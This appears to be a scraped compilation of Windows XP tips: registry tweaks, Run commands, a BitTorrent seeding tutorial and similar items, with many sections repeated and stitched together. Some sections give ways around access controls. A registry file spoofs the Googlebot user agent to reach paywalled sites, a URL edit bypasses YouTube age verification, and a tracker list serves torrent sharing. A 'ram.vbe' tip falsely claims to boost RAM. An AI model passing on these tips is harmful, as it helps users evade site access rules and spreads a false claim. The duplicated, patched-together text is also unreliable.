XP has IP version 6 support -- the next generation of IP. Unfortunately this is more than your ISP has, so you can only experiment with this on your LAN. Type 'ipv6 install' into Run... (it's OK, it won't ruin your existing network setup) and then 'ipv6 /?' at the command line to find out more. If you don't know what IPv6 is, don't worry.
7. Task Termination
You can at last get rid of tasks on the computer from the command line by using 'taskkill /pid' and the task number, or just 'tskill' and the process number. Find that out by typing 'tasklist', which will also tell you a lot about what's going on in your system.
8. ZIP Files as Folders
XP will treat Zip files like folders, which is nice if you've got a fast machine. On slower machines, you can make XP leave zip files alone by typing 'regsvr32 /u zipfldr.dll' at the command line. If you change your mind later, you can change things back by typing 'regsvr32 zipfldr.dll'.
9. XP Has ClearType
XP has ClearType -- Microsoft's anti-aliasing font display technology -- but doesn't have it enabled by default. It's well worth trying, especially if you were there for DOS and all those years of staring at a screen have given you the eyes of an astigmatic bat. To enable ClearType, right click on the desktop, select Properties, Appearance, Effects, select ClearType from the second drop-down menu and enable the selection. Expect best results on laptop displays. If you want to use ClearType on the Welcome login screen as well, set the registry entry HKEY_USERS/.DEFAULT/Control Panel/Desktop/FontSmoothingType to 2.
10. Remote Assistance:
You can use Remote Assistance to help a friend who's using network address translation (NAT) on a home network, but not automatically. Get your pal to email you a Remote Assistance invitation and edit the file. Under the RCTICKET attribute will be a NAT IP address, like 192.168.1.10. Replace this with your friend's real IP address -- they can find this out by going to www.whatismyip.com -- and get them to make sure that they've got port 3389 open on their firewall and forwarded to the errant computer.
11. User Task Management
You can run a program as a different user without logging out and back in again. Right click the icon, select Run As... and enter the user name and password you want to use. This only applies for that run. The trick is particularly useful if you need to have administrative permissions to install a program, which many require. Note that you can have some fun by running programs multiple times on the same system as different users, but this can have unforeseen effects.
12. Disable Default Notifications
Windows XP can be very insistent about you checking for auto updates, registering a Passport, using Windows Messenger and so on. After a while, the nagging goes away, but if you feel you might go insane before that point, run Regedit, go to HKEY_CURRENT_USER/Software/Microsoft/Windows/Current Version/Explorer/Advanced and create a DWORD value called EnableBalloonTips with a value of 0.
13. Faster Startup
You can start up without needing to enter a user name or password. Select Run... from the start menu and type 'control userpasswords2', which will open the user accounts application. On the Users tab, clear the box for Users Must Enter A User Name And Password To Use This Computer, and click on OK. An Automatically Log On dialog box will appear; enter the user name and password for the account you want to use.
14. Delete Temp Internet Files Automatically
Internet Explorer 6 will automatically delete temporary files, but only if you tell it to. Start the browser, select Tools / Internet Options... and Advanced, go down to the Security area and check the box to Empty Temporary Internet Files folder when browser is closed.
15. Network Activity Light
XP comes with a free Network Activity Light, just in case you can't see the LEDs twinkle on your network card. Right click on My Network Places on the desktop, then select Properties. Right click on the description for your LAN or dial-up connection, select Properties, then check the Show icon in notification area when connected box. You'll now see a tiny network icon on the right of your task bar that glimmers nicely during network traffic.
16. Speed-Up Your Start Menu
The Start Menu can be leisurely when it decides to appear, but you can speed things along by changing the registry entry HKEY_CURRENT_USER/Control Panel/Desktop/MenuShowDelay from the default 400 to something a little snappier. Like 0.
17. Batch Rename Files
You can rename loads of files at once in Windows Explorer. Highlight a set of files in a window, then right click on one and rename it. All the other files will be renamed to that name, with individual numbers in brackets to distinguish them. Also, in a folder you can arrange icons in alphabetised groups by View, Arrange Icon By... Show In Groups.
18. Album Cover Arts
Windows Media Player will display the cover art for albums as it plays the tracks -- if it found the picture on the Internet when you copied the tracks from the CD. If it didn't, or if you have lots of pre-WMP music files, you can put your own copy of the cover art in the same directory as the tracks. Just call it folder.jpg and Windows Media Player will pick it up and display it.
19. Handy Shortcut Keys
Windows key + Break brings up the System Properties dialogue box;
Windows key + D brings up the desktop;
Windows key + Tab moves through the taskbar buttons.
It boasts how long your computer has been running.
Click Start, then run and then type 'systeminfo'.
The computer will produce a lot of useful info, including the uptime. If you want to keep these, type 'systeminfo > info.txt'. This creates a file called info.txt you can look at later with Notepad.
2 - Delete Files Immediately
You can delete files immediately, without having them move to the Recycle Bin first. Go to the Start menu, select Run... and type 'gpedit.msc'; then select User Configuration, Administrative Templates, Windows Components, Windows Explorer and find the Do not move deleted files to the Recycle Bin setting. Set it. Poking around in gpedit will reveal a great many interface and system options, but take care -- some may stop your computer behaving as you wish.
3 - Lock XP
You can lock your XP workstation with two clicks of the mouse. Create a new shortcut on your desktop using a right mouse click, and enter 'rundll32.exe user32.dll,LockWorkStation' in the location field. Give the shortcut a name you like. That's it -- just double click on it and your computer will be locked. And if that's not easy enough, Windows key + L will do the same.
4. Remove System Software
XP hides some system software you might want to remove, such as Windows Messenger, but you can make it show everything. Using Notepad or Edit, edit the text file /windows/inf/sysoc.inf, search for the word 'hide' and remove it. You can then go to the Add or Remove Programs in the Control Panel, select Add/Remove Windows Components and there will be the software and you can now uninstall it.
5. Interesting New Commands
For those skilled in the art of DOS batch files, XP has a number of interesting new commands. These include 'eventcreate' and 'eventtriggers' for creating and watching system events, 'typeperf' for monitoring performance of various subsystems, and 'schtasks' for handling scheduled tasks. As usual, typing the command name followed by /? will give a list of options.
6. IP Version 6 Support
XP has IP version 6 support -- the next generation of IP. Unfortunately this is more than your ISP has, so you can only experiment with this on your LAN. Type 'ipv6 install' into Run... (it's OK, it won't ruin your existing network setup) and then 'ipv6 /?' at the command line to find out more. If you don't know what IPv6 is, don't worry.
7. Task Termination
You can at last get rid of tasks on the computer from the command line by using 'taskkill /pid' and the task number, or just 'tskill' and the process number. Find that out by typing 'tasklist', which will also tell you a lot about what's going on in your system.
8. ZIP Files as Folders
XP will treat Zip files like folders, which is nice if you've got a fast machine. On slower machines, you can make XP leave zip files alone by typing 'regsvr32 /u zipfldr.dll' at the command line. If you change your mind later, you can change things back by typing 'regsvr32 zipfldr.dll'.
9. XP Has ClearType
XP has ClearType -- Microsoft's anti-aliasing font display technology -- but doesn't have it enabled by default. It's well worth trying, especially if you were there for DOS and all those years of staring at a screen have given you the eyes of an astigmatic bat. To enable ClearType, right click on the desktop, select Properties, Appearance, Effects, select ClearType from the second drop-down menu and enable the selection. Expect best results on laptop displays. If you want to use ClearType on the Welcome login screen as well, set the registry entry HKEY_USERS/.DEFAULT/Control Panel/Desktop/FontSmoothingType to 2.
10. Remote Assistance:
You can use Remote Assistance to help a friend who's using network address translation (NAT) on a home network, but not automatically. Get your pal to email you a Remote Assistance invitation and edit the file. Under the RCTICKET attribute will be a NAT IP address, like 192.168.1.10. Replace this with your friend's real IP address -- they can find this out by going to www.whatismyip.com -- and get them to make sure that they've got port 3389 open on their firewall and forwarded to the errant computer.
11. User Task Management
You can run a program as a different user without logging out and back in again. Right click the icon, select Run As... and enter the user name and password you want to use. This only applies for that run. The trick is particularly useful if you need to have administrative permissions to install a program, which many require. Note that you can have some fun by running programs multiple times on the same system as different users, but this can have unforeseen effects.
12. Disable Default Notifications
Windows XP can be very insistent about you checking for auto updates, registering a Passport, using Windows Messenger and so on. After a while, the nagging goes away, but if you feel you might go insane before that point, run Regedit, go to HKEY_CURRENT_USER/Software/Microsoft/Windows/Current Version/Explorer/Advanced and create a DWORD value called EnableBalloonTips with a value of 0.
13. Faster Startup
You can start up without needing to enter a user name or password. Select Run... from the start menu and type 'control userpasswords2', which will open the user accounts application. On the Users tab, clear the box for Users Must Enter A User Name And Password To Use This Computer, and click on OK. An Automatically Log On dialog box will appear; enter the user name and password for the account you want to use.
14. Delete Temp Internet Files Automatically
Internet Explorer 6 will automatically delete temporary files, but only if you tell it to. Start the browser, select Tools / Internet Options... and Advanced, go down to the Security area and check the box to Empty Temporary Internet Files folder when browser is closed.
15. Network Activity Light
XP comes with a free Network Activity Light, just in case you can't see the LEDs twinkle on your network card. Right click on My Network Places on the desktop, then select Properties. Right click on the description for your LAN or dial-up connection, select Properties, then check the Show icon in notification area when connected box. You'll now see a tiny network icon on the right of your task bar that glimmers nicely during network traffic.
16. Speed-Up Your Start Menu
The Start Menu can be leisurely when it decides to appear, but you can speed things along by changing the registry entry HKEY_CURRENT_USER/Control Panel/Desktop/MenuShowDelay from the default 400 to something a little snappier. Like 0.
17. Batch Rename Files
You can rename loads of files at once in Windows Explorer. Highlight a set of files in a window, then right click on one and rename it. All the other files will be renamed to that name, with individual numbers in brackets to distinguish them. Also, in a folder you can arrange icons in alphabetised groups by View, Arrange Icon By... Show In Groups.
18. Album Cover Arts
Windows Media Player will display the cover art for albums as it plays the tracks -- if it found the picture on the Internet when you copied the tracks from the CD. If it didn't, or if you have lots of pre-WMP music files, you can put your own copy of the cover art in the same directory as the tracks. Just call it folder.jpg and Windows Media Player will pick it up and display it.
19. Handy Shortcut Keys
Windows key + Break brings up the System Properties dialogue box;
Windows key + D brings up the desktop;
Windows key + Tab moves through the taskbar buttons.
Shutdown windows with Cmd
Try to open:
Run -> cmb -> shutdown -a
This prevent the shutdown.
create a new shortcut.. then write;
shutdown -s -t 0 = this is for shut down in 0 seconds (t = time s=shutdown)
shutdown -r -t 0 = same but this is for restart comp. in 0 seconds..
(only for windows xp)
in win.98 this is different; we were wrote rundll32.exe -s or something like this..i couldnt remember right now..
Run -> cmb -> shutdown -a
This prevent the shutdown.
create a new shortcut.. then write;
shutdown -s -t 0 = this is for shut down in 0 seconds (t = time s=shutdown)
shutdown -r -t 0 = same but this is for restart comp. in 0 seconds..
(only for windows xp)
in win.98 this is different; we were wrote rundll32.exe -s or something like this..i couldnt remember right now..
Bypass YouTube Age Verification without signing up or logging in
YouTube will block some videos which are flagged by the community as inappropriate if you are not above a certain age. You can now bypass this just by tweaking the url.
Replace the “?” after watch with “/” and “=” after v with “/”
This will change this:
Into this:
Replace the “?” after watch with “/” and “=” after v with “/”
This will change this:
Code:
http://www.youtube.com/watch?v=**********
Code:
http://www.youtube.com/watch/v/**********
Change IE Title Bar
Change the title bar that says - Microsoft Internet Explorer in IE...
Goto HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Windows Title
and change it to whatever you like!
Goto HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Windows Title
and change it to whatever you like!
The Ten Most Dangerous Things Users Do Online
...The following is our list of "The Ten Most Dangerous Things Users Do Online," along with some explanation of the risks -- and solutions -- associated with each...
1. Clicking on email attachments from unknown senders
2. Installing unauthorized applications
3. Turning off or disabling automated security tools
4. Opening HTML or plain-text messages from unknown senders
5. Surfing gambling, porn, or other legally-risky Websites
6. Giving out passwords, tokens, or smart cards
7. Page 8: Random surfing of unknown, untrusted Websites
8. Attaching to an unknown, untrustworthy WiFi network
9. Filling out Web scripts, forms, or registration pages
10. Participating in chat rooms or social networking sites
1. Clicking on email attachments from unknown senders
2. Installing unauthorized applications
3. Turning off or disabling automated security tools
4. Opening HTML or plain-text messages from unknown senders
5. Surfing gambling, porn, or other legally-risky Websites
6. Giving out passwords, tokens, or smart cards
7. Page 8: Random surfing of unknown, untrusted Websites
8. Attaching to an unknown, untrustworthy WiFi network
9. Filling out Web scripts, forms, or registration pages
10. Participating in chat rooms or social networking sites
Branding Windows with your Name !!
Open Notepad dump the following lines into it and Save It with the name OEMINFO.INI in the c:\windows\system32 directory:
- [General]
- Manufacturer=Your Name Here
- Model=Your Model Here
- [Support Information]
- Line1=Your Name Here
- Line2=Your Address Here
- Line3=Your Email Address Here
- Save the file, then make a right click on my computer select properties, in the general tab a button will be highlighted (support information) make a click on it, you will be able to see the changes.
- Now if you want to display some more information then simply increase the line in the file.
- ex: Line4=Your Working Hours Here
Pls hit thanks..
- [General]
- Manufacturer=Your Name Here
- Model=Your Model Here
- [Support Information]
- Line1=Your Name Here
- Line2=Your Address Here
- Line3=Your Email Address Here
- Save the file, then make a right click on my computer select properties, in the general tab a button will be highlighted (support information) make a click on it, you will be able to see the changes.
- Now if you want to display some more information then simply increase the line in the file.
- ex: Line4=Your Working Hours Here
Pls hit thanks..
03 July 2009
Boost the performance of your PC
# Open notepad and type "MYSTRING=80000000"
# Then save it as "ram.vbe" on your desktop only !
# And then just double click on it
# This will boost your RAM
Thanx
# Then save it as "ram.vbe" on your desktop only !
# And then just double click on it
# This will boost your RAM
Thanx
Secret Backdoor To Many Websites
Ever experienced this? You ask Google to look something up; the engine returns with a number of finds, but if you try to open the ones with the most promising content, you are confronted with a registration page instead, and the stuff you were looking for will not be revealed to you unless you agree to a credit card transaction first....
The lesson you should have learned here is: Obviously Google can go where you can't.
Can we solve this problem? Yes, we can. We merely have to convince the site we want to enter, that WE ARE GOOGLE.
In fact, many sites that force users to register or even pay in order to search and use their content, leave a backdoor open for the Googlebot, because a prominent presence in Google searches is known to generate sales leads, site hits and exposure.
Examples of such sites are Windows Magazine, .Net Magazine, Nature, and many, many newspapers around the globe.
How then, can you disguise yourself as a Googlebot? Quite simple: by changing your browser's User Agent. Copy the following code segment and paste it into a fresh notepad file. Save it as Useragent.reg and merge it into your registry.
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\Internet Settings\5.0\User Agent]
@="Googlebot/2.1"
"Compatible"="+http://www.googlebot.com/bot.html"
Voila! You're done!
You may always change it back again.... I know only one site that uses you User Agent to establish your eligability to use its services, and that's the Windows Update site...
To restore the IE6 User Agent, save the following code to NormalAgent.reg and merge with your registry:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\Internet Settings\5.0\User Agent]
@="Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
Ps:
Opera allows for on-the-fly switching of User Agents through its "Browser Identification" function, while for Mozilla/FireFox browsers a switching utility is available as an installable extension from this url:
help://chrispederick.myacen.com/work/firefox/useragentswitcher/download
The lesson you should have learned here is: Obviously Google can go where you can't.
Can we solve this problem? Yes, we can. We merely have to convince the site we want to enter, that WE ARE GOOGLE.
In fact, many sites that force users to register or even pay in order to search and use their content, leave a backdoor open for the Googlebot, because a prominent presence in Google searches is known to generate sales leads, site hits and exposure.
Examples of such sites are Windows Magazine, .Net Magazine, Nature, and many, many newspapers around the globe.
How then, can you disguise yourself as a Googlebot? Quite simple: by changing your browser's User Agent. Copy the following code segment and paste it into a fresh notepad file. Save it as Useragent.reg and merge it into your registry.
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\Internet Settings\5.0\User Agent]
@="Googlebot/2.1"
"Compatible"="+http://www.googlebot.com/bot.html"
Voila! You're done!
You may always change it back again.... I know only one site that uses you User Agent to establish your eligability to use its services, and that's the Windows Update site...
To restore the IE6 User Agent, save the following code to NormalAgent.reg and merge with your registry:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\Internet Settings\5.0\User Agent]
@="Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
Ps:
Opera allows for on-the-fly switching of User Agents through its "Browser Identification" function, while for Mozilla/FireFox browsers a switching utility is available as an installable extension from this url:
help://chrispederick.myacen.com/work/firefox/useragentswitcher/download
How to upload and seed a torrent
How to upload and seed a torrent on a torrent site/server?
STEP 1
First of all you need to register to a bitorrent site/server.
STEP 2
Second you need to be carefull with the site(s) you chose to upload since they have they're own set of rules and restrictions, and some or specialized in only a few domains like movies only, tv series only, anime only, porn etc. If you upload something witch that site sayd is forbiden to upload you're upload will be deleted imediately and you have nice chances of getting banns from 15days up to permanent banns, so be careful what you're uploading, in what section you're uploading it, and always read the rules to a site before uploading anything.
STEP 3
After you make an acc, most of these sites require email confirmation before you're acc can be accesable, so when making an acc insert in a valid email adress.
STEP 4
You just made an acc on an everyday/private torrent tracker witch you have chosen, and now you want to upload on it you're first upload whatever that would be. I'll try to be as specific as i can in this guide.
Download a BitTorrent client witch supports not only downloading but uploading(seeding) and "Create a torrent" option as also, if the BitTorrent client you have downloaded does not work in doing what i wrote above get rid of it and get uTorrent or BitSpirit or any other if you like as long as it respects the requirements i wrote above. Usually every torrent client are like 85% the same(the same as in having similar options).
uTorrent
BitSpirit(my favorite)
STEP 5
You downloaded and just installed a torrent client, and now you're thinking of making and uploading you're first torrent.
I'll guide you through using BitSpirit(don't be scared or angry if you're using something else, since as i wrote above, 85% of torrent clients have almost the exact option names and features).
Open BitSpirit, go at the top left of BS and find an option called "Functions" at other torrents you might find this not here but in "File > Add Torrent(no default save)...". After you find "Functions" click on "Make Torrent", after clicking this, you will be asked what do you want to insert in you're torrent, usually they are called "Source File(s)". If you are planning to upload only 1 single file i.e. audio track(MP3), single zip/rar file, etc. then chose "Single File", if you want to upload a folder with more files or folders in it then chose "Directory (Multi Files)" or you can chose "Directory (One By One)" witch lets generate a torrent file for each file in the directory(not including sub directory) but i haven't tryied this "Directory (Multi Files" feature yet, and i dont want to talk about things i have not tryied. Then browse for the "content" you want to make as a torrent by pressing the button "Browse" or "..." options. After you selected you're content's file(s) you will see under it a small label with above it, written "Tracker List" if you do not insert in that small label/box a tracker then you're torrent will be dead and of no use(at least thats what happend to me the first time i tryied to upload something). How to find trackers? Usually at any torrent you download if you double click on it and go at "Tracker List" you will see there what trackers it's uploader has inserted, or you can read as i sayd the torrent site rules and there at the uploading FAQ you should be seeing some torrent trackers recomended by that site. I for one am inserting ALL these trackers to my uploaded torrents:
But if you're a newbie and don't want to complicate you're self simply add one of the trackers above. After you added you're content and you're tracker(s) browse for a location where to save the torrent and simply click "Make Torrent" or "Create" or whatever it's called at other BitTorrent clients.
STEP 6 - UPLOADING
Once you have made the torrent you want to upload on a torrent site, you have to do the following:
- Open you're browser
- Go to the site you have chosen to host the torrent and registered at
-Log-In!
-Try to find an option like "Upload a torrent" or go to you're settings and try to find "My Uploads" you might be able to upload the torrent from there if you can't find the "Upload a torrent" option. After you have clicked "Upload a torrent" a small windows should pop with an option like "Browse" here you have to browse for the torrent you have made with BitSpirit or other bit torrent client you downloaded. After you did that, you will to select a category and a sub category something like: Category - Movies, Sub Category - Action, Drama, SCI-FI etc, understand what i mean? This is just an example, hope you guys got it. BTW be sure to select the right category for you're torrent since some admins on some sites, are to lazy to move them at the proper category and they will delete you're torrent. After you have uploaded you're torrent, and chose it's Category and Sub Category click upload, and you're browser will get white like 5seconds(from uploading the torrent and then auto-refresh) after that a small window will appear saying "Click here to view you're torrent" Once you have done this you're torrent will have 1 Seeds and 0 Leechers, or maybe at some sites you'll have 0 Seeds and 0 Leechers, depends where you're hosting it.
STEP 7 - SEEDING! FINAL STAGE!
Anyways if it's 1 Seeds and 0 Leechers most probably you cannot seed it until it is beying downloaded and Leechers are added to it. The system goes like this: with the passing time you're seeds are decreasing slowly and if many people are downloading you're upload then leechers will be added to you're torrent around 3x-4x-5x faster then by just beying there and not beying downloaded. Very few people are seeding, many are just snatching the torrent and running away with it. Unfortunately, i was doing the same...until i learned how to seed my, and other peoples torrents. After you're download hase Reached 0 Seeds and alot of Leechers or 1-2 Seeds and a tone of Leechers you can go to it(on the site) click on it, save as, and save it on desktop or wherever you like. After that, open it, and instead of tipically download it, go to a small box in the right(if you're using BitSpirit) and you'll find something like: "Download File(s)" click on it's right and select "Seeding File(s)" after doing so, under it there should be something like "Save to:", at "Save to:" instead of selecting a location where to download the torrent, select the location where the "Source File(s)" witch you have originally made the torrent out of, are located. It is very important you have not alterated the "Source File(s)" after you already made the torrent, if you do so it will result in the torrent unable to be seeded, and you just wasting you're time, only thing you can do is move it somewhere but dont change anything in it(if it's a folder that is) otherwise there wil be problems. After you selected the download location the "Source File(s)" of the torrent, you can click "OK" and that's it! Everytime the torrent has alot of leeches it will automatically start seeding the torrent you have uploaded. it should be looking something like DL speed 0kb/s, UL speed 5kb/s-150kb/s depending on you're internet connexion speed. To seed a torrent you have downloaded do the same as you have did seeding you're own torrent. To seed someone elses torrent, you first need to have the torrent already downloaded. After doing so just open the torrent select Seeding, and chose it's location, and now you can seed the movie or game you wanted so much and finally found it as i wrote above few are seeding the torrents they have downloaded from others, so it will be ou're choise if you are going to be one of them, or you are going to be one of thoes little thiefs witch just snatches the upload and runes, and does not thank the uploader by seeding the file he had hosted. I forgot to mention, if you chose to seed someone elses torrent, you must not modify it's "Source Files(s)" witch you have downloaded, otherwise it will not work. That's it! Now you know how to create and host a torrent on a torrent site/server and how to seed you're uploads and other peoples uploads. I apologies for the long tutorial, but when i write a walkthrough i want to be as precise as possible. If anyone has any questions feel free to post it or PM me.
Enjoy!
STEP 1
First of all you need to register to a bitorrent site/server.
STEP 2
Second you need to be carefull with the site(s) you chose to upload since they have they're own set of rules and restrictions, and some or specialized in only a few domains like movies only, tv series only, anime only, porn etc. If you upload something witch that site sayd is forbiden to upload you're upload will be deleted imediately and you have nice chances of getting banns from 15days up to permanent banns, so be careful what you're uploading, in what section you're uploading it, and always read the rules to a site before uploading anything.
STEP 3
After you make an acc, most of these sites require email confirmation before you're acc can be accesable, so when making an acc insert in a valid email adress.
STEP 4
You just made an acc on an everyday/private torrent tracker witch you have chosen, and now you want to upload on it you're first upload whatever that would be. I'll try to be as specific as i can in this guide.
Download a BitTorrent client witch supports not only downloading but uploading(seeding) and "Create a torrent" option as also, if the BitTorrent client you have downloaded does not work in doing what i wrote above get rid of it and get uTorrent or BitSpirit or any other if you like as long as it respects the requirements i wrote above. Usually every torrent client are like 85% the same(the same as in having similar options).
uTorrent
BitSpirit(my favorite)
STEP 5
You downloaded and just installed a torrent client, and now you're thinking of making and uploading you're first torrent.
I'll guide you through using BitSpirit(don't be scared or angry if you're using something else, since as i wrote above, 85% of torrent clients have almost the exact option names and features).
Open BitSpirit, go at the top left of BS and find an option called "Functions" at other torrents you might find this not here but in "File > Add Torrent(no default save)...". After you find "Functions" click on "Make Torrent", after clicking this, you will be asked what do you want to insert in you're torrent, usually they are called "Source File(s)". If you are planning to upload only 1 single file i.e. audio track(MP3), single zip/rar file, etc. then chose "Single File", if you want to upload a folder with more files or folders in it then chose "Directory (Multi Files)" or you can chose "Directory (One By One)" witch lets generate a torrent file for each file in the directory(not including sub directory) but i haven't tryied this "Directory (Multi Files" feature yet, and i dont want to talk about things i have not tryied. Then browse for the "content" you want to make as a torrent by pressing the button "Browse" or "..." options. After you selected you're content's file(s) you will see under it a small label with above it, written "Tracker List" if you do not insert in that small label/box a tracker then you're torrent will be dead and of no use(at least thats what happend to me the first time i tryied to upload something). How to find trackers? Usually at any torrent you download if you double click on it and go at "Tracker List" you will see there what trackers it's uploader has inserted, or you can read as i sayd the torrent site rules and there at the uploading FAQ you should be seeing some torrent trackers recomended by that site. I for one am inserting ALL these trackers to my uploaded torrents:
Check Download Links Code:
http://open.tracker.thepiratebay.org/announce
http://denis.stalker.h3q.com:6969/announce
http://www.torrentsnipe.info:2701/announce
http://inferno.demonoid.com:3394/announce
http://btt.gyyx*****announce
http://tracker.mightynova.com:4315/announce
http://tracker.torrentparty.com:2202/announce
http://btt1.gyyx*****announce
http://tr.ydy.com:83/announce
http://kita.wjl.cn:8080/announce
http://bt1.cdres.cn:12345/announce
http://tracker.mightynova.com/announce
http://tracker.jamendo.com/announce
http://tracker.jamendo.com/announce.php
http://dlsdirectory.com/announce.php
But if you're a newbie and don't want to complicate you're self simply add one of the trackers above. After you added you're content and you're tracker(s) browse for a location where to save the torrent and simply click "Make Torrent" or "Create" or whatever it's called at other BitTorrent clients.
STEP 6 - UPLOADING
Once you have made the torrent you want to upload on a torrent site, you have to do the following:
- Open you're browser
- Go to the site you have chosen to host the torrent and registered at
-Log-In!
-Try to find an option like "Upload a torrent" or go to you're settings and try to find "My Uploads" you might be able to upload the torrent from there if you can't find the "Upload a torrent" option. After you have clicked "Upload a torrent" a small windows should pop with an option like "Browse" here you have to browse for the torrent you have made with BitSpirit or other bit torrent client you downloaded. After you did that, you will to select a category and a sub category something like: Category - Movies, Sub Category - Action, Drama, SCI-FI etc, understand what i mean? This is just an example, hope you guys got it. BTW be sure to select the right category for you're torrent since some admins on some sites, are to lazy to move them at the proper category and they will delete you're torrent. After you have uploaded you're torrent, and chose it's Category and Sub Category click upload, and you're browser will get white like 5seconds(from uploading the torrent and then auto-refresh) after that a small window will appear saying "Click here to view you're torrent" Once you have done this you're torrent will have 1 Seeds and 0 Leechers, or maybe at some sites you'll have 0 Seeds and 0 Leechers, depends where you're hosting it.
STEP 7 - SEEDING! FINAL STAGE!
Anyways if it's 1 Seeds and 0 Leechers most probably you cannot seed it until it is beying downloaded and Leechers are added to it. The system goes like this: with the passing time you're seeds are decreasing slowly and if many people are downloading you're upload then leechers will be added to you're torrent around 3x-4x-5x faster then by just beying there and not beying downloaded. Very few people are seeding, many are just snatching the torrent and running away with it. Unfortunately, i was doing the same...until i learned how to seed my, and other peoples torrents. After you're download hase Reached 0 Seeds and alot of Leechers or 1-2 Seeds and a tone of Leechers you can go to it(on the site) click on it, save as, and save it on desktop or wherever you like. After that, open it, and instead of tipically download it, go to a small box in the right(if you're using BitSpirit) and you'll find something like: "Download File(s)" click on it's right and select "Seeding File(s)" after doing so, under it there should be something like "Save to:", at "Save to:" instead of selecting a location where to download the torrent, select the location where the "Source File(s)" witch you have originally made the torrent out of, are located. It is very important you have not alterated the "Source File(s)" after you already made the torrent, if you do so it will result in the torrent unable to be seeded, and you just wasting you're time, only thing you can do is move it somewhere but dont change anything in it(if it's a folder that is) otherwise there wil be problems. After you selected the download location the "Source File(s)" of the torrent, you can click "OK" and that's it! Everytime the torrent has alot of leeches it will automatically start seeding the torrent you have uploaded. it should be looking something like DL speed 0kb/s, UL speed 5kb/s-150kb/s depending on you're internet connexion speed. To seed a torrent you have downloaded do the same as you have did seeding you're own torrent. To seed someone elses torrent, you first need to have the torrent already downloaded. After doing so just open the torrent select Seeding, and chose it's location, and now you can seed the movie or game you wanted so much and finally found it
as i wrote above few are seeding the torrents they have downloaded from others, so it will be ou're choise if you are going to be one of them, or you are going to be one of thoes little thiefs witch just snatches the upload and runes, and does not thank the uploader by seeding the file he had hosted. I forgot to mention, if you chose to seed someone elses torrent, you must not modify it's "Source Files(s)" witch you have downloaded, otherwise it will not work. That's it! Now you know how to create and host a torrent on a torrent site/server and how to seed you're uploads and other peoples uploads. I apologies for the long tutorial, but when i write a walkthrough i want to be as precise as possible. If anyone has any questions feel free to post it or PM me.Enjoy!
Create a hidden folder - New method
This way is different from common hide command in folder properties
There are many utility programs that allow you to protect, encrypt and hide your folders, But these programs are expensive and may damage your system
You can windows XP ability to create hidden folders :
1- create a folder
2- right click on folder and select properties
3- select customize tab and click on “change icon”, a dialog box appears
4- click on an empty area and click ok
5- now, you should rename your folder, press F2 and then hold down ALT and type 255 at the numbers key pad and finally press ENTER
You just have to remember the folders location in your hard drive.
There are many utility programs that allow you to protect, encrypt and hide your folders, But these programs are expensive and may damage your system
You can windows XP ability to create hidden folders :
1- create a folder
2- right click on folder and select properties
3- select customize tab and click on “change icon”, a dialog box appears
4- click on an empty area and click ok
5- now, you should rename your folder, press F2 and then hold down ALT and type 255 at the numbers key pad and finally press ENTER
You just have to remember the folders location in your hard drive.
Useful Run Commands for Windows
Accessibility Controls - access.cpl
Add Hardware Wizard - hdwwiz.cpl
Add/Remove Programs - appwiz.cpl
Administrative Tools - control admintools
Automatic Updates - wuaucpl.cpl
Bluetooth Transfer Wiz - fsquirt
Calculator - calc
Certificate Manager - certmgr.msc
Character Map - charmap
Check Disk Utility - chkdsk
Clipboard Viewer - clipbrd
Command Prompt - cmd
Component Services - dcomcnfg
Computer Management - compmgmt.msc
Date / Time Properties - timedate.cpl
DDE Shares - ddeshare
Device Manager - devmgmt.msc
Direct X Control Panel - directx.cpl
Direct X Troubleshooter - dxdiag
Disk Cleanup Utility - cleanmgr
Disk Defragment - dfrg.msc
Disk Management - diskmgmt.msc
Disk Partition Manager - diskpart
Display Properties - control desktop
Display Properties - desk.cpl
Display Properties - control color (w/Appearance Tab Preselected)
Dr. Watson - drwtsn32
Driver Verifier Utility - verifier
Event Viewer - eventvwr.msc
File Signature Verification Tool - sigverif
Findfast - findfast.cpl
Folders Properties - control folders
Fonts - control fonts
Fonts Folder - fonts
Free Cell Card Game - freecell
Game Controllers - joy.cpl
Group Policy Editor (XP Prof) - gpedit.msc
Hearts Card Game - mshearts
Iexpress Wizard - iexpress
Indexing Service - ciadv.msc
Internet Properties - inetcpl.cpl
IP Configuration (Display Connection Configuration) ipconfig /all
IP Configuration (Display DNS Cache Contents) ipconfig /displaydns
IP Configuration (Delete DNS Cache Contents) ipconfig /flushdns
IP Configuration (Release All Connections) ipconfig /release
IP Configuration (Renew All Connections) ipconfig /renew
IP Configuration (Refreshes DHCP & Re-Registers DNS) ipconfig /registerdns
IP Configuration (Display DHCP Class ID) ipconfig /showclassid
IP Configuration (Modifies DHCP Class ID) ipconfig /setclassid
Java Control Panel - jpicpl32.cpl
(If Installed)
Java Control Panel - javaws
(If Installed)
Keyboard Properties - control keyboard
Local Security Settings - secpol.msc
Local Users and Groups - lusrmgr.msc
Logs You Out Of Windows - logoff
Microsoft Chat - winchat
Minesweeper Game - winmine
Mouse Properties - control mouse
Mouse Properties - main.cpl
Network Connections - control netconnections
Network Connections - ncpa.cpl
Network Setup Wizard - netsetup.cpl
Notepad - notepad
Nview Desktop Manager - nvtuicpl.cpl
(If Installed)
Object Packager - packager
ODBC Data Source Admin - odbccp32.cpl
On Screen Keyboard - osk
Opens AC3 Filter - ac3filter.cpl
(If Installed)
Password Properties - password.cpl
Performance Monitor - perfmon.msc
Performance Monitor - perfmon
Phone and Modem Options - telephon.cpl
Power Configuration - powercfg.cpl
Printers and Faxes - control printers
Printers Folder - printers
Private Character Editor - eudcedit
Quicktime (If Installed) - QuickTime.cpl
Regional Settings - intl.cpl
Registry Editor - regedit
Registry Editor - regedit32
Remote Desktop - mstsc
Removable Storage - ntmsmgr.msc
Removable Storage - ntmsoprq.msc
Operator Requests
Resultant Set of Policy - rsop.msc
(XP Prof)
Scanners and Cameras - sticpl.cpl
Scheduled Tasks - control schedtasks
Security Center - wscui.cpl
Services - services.msc
